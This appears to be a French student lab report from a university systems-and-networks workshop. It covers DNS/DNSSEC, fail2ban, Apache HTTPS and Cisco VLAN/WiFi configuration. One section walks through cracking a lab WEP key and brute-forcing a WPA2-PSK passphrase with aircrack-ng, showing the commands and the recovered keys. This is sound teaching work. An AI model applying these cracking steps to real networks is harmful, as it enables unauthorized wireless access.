On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d&#039;avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut &#039;&#039;&#039;commenter&#039;&#039;&#039; tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;restart&#039;&#039;&#039; le service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On peut pour finir &#039;&#039;&#039;vérifier&#039;&#039;&#039; le bon fonctionnement de notre DNS via le site [https://dnsviz.net/ dnsviz]. Avec notre nom de domaine nous obtenons le graphe suivant :&lt;br /&gt;
[[Fichier:Deadpool.tech-2026-02-18-08 31 41-UTC.png|centré|vignette]]&lt;br /&gt;
&lt;br /&gt;
== Fail2ban ==&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; dans le dossier &amp;lt;code&amp;gt;/etc/fail2ban&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans &amp;lt;code&amp;gt;fail2ban.conf&amp;lt;/code&amp;gt; (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour &#039;&#039;&#039;lancer le service&#039;&#039;&#039; il faut rentrer la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTTPS ==&lt;br /&gt;
Dans le dossier &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On met la clef &#039;&#039;&#039;deadpool.tech.key&#039;&#039;&#039; et les certificats &#039;&#039;&#039;GandiCert.pem&#039;&#039;&#039; et &#039;&#039;&#039;deadpool.tech.crt&#039;&#039;&#039; (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commande suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&#039;&#039;&#039;/!\&#039;&#039;&#039; Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une &#039;&#039;&#039;clé USB Wifi&#039;&#039;&#039; pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s&#039;arrête au 13 donc je dois prendre la &#039;&#039;&#039;cracotte02&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;&#039;&#039;&#039;identifier l&#039;interface WIFI&#039;&#039;&#039; qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;identifier l&#039;adresse IP de notre cracotte02&#039;&#039;&#039;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l&#039;adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons &#039;&#039;&#039;lancer le cassage&#039;&#039;&#039; de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour &#039;&#039;&#039;voir si la clé à été trouvée&#039;&#039;&#039; (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s&#039;intéresse maintenant à la &#039;&#039;&#039;kracotte02&#039;&#039;&#039; (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un &#039;&#039;&#039;fichier Python&#039;&#039;&#039; un dictionnaire contenant &#039;&#039;&#039;toutes les possibilités sur 8 chiffres&#039;&#039;&#039;. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin &#039;&#039;&#039;lancer le cassage du mot de passe&#039;&#039;&#039; par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de &#039;&#039;&#039;savoir si le mot de passe à été trouvé&#039;&#039;&#039; (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
=== Partie VLAN ===&lt;br /&gt;
&lt;br /&gt;
Depuis la machine batman on se &#039;&#039;&#039;ssh sur le routeur&#039;&#039;&#039; via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Création du Vlan24&#039;&#039;&#039; avec le nom PoolAntonin :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour configurer le &#039;&#039;&#039;vlan&#039;&#039;&#039; que nous venons de créer ainsi que le &#039;&#039;&#039;VRRP&#039;&#039;&#039; j&#039;ai fait ceci : (&#039;&#039;&#039;/!\&#039;&#039;&#039; l&#039;adresse IPv4 de votre vlan doit être mise dans le tableau commun sur le wiki afin d&#039;éviter tout conflit avec une autre personne)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Partie WIFI ===&lt;br /&gt;
&lt;br /&gt;
On peut exit enfin pour se ssh cette fois sur la partie &#039;&#039;&#039;wifi&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commandes suivantes, inspirées de celle du sujet, afin de configurer notre &#039;&#039;&#039;point d&#039;accès wifi&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par le suite nous avons modifié plusieurs fichiers sans succès. Cette dernière partie est donc &#039;&#039;&#039;incomplète&#039;&#039;&#039; et ne permet pas de validé cette dernière. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12352</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12352"/>
		<updated>2026-02-23T10:29:54Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* Vlan */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : &#039;&#039;&#039;192.168.69.0/24&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
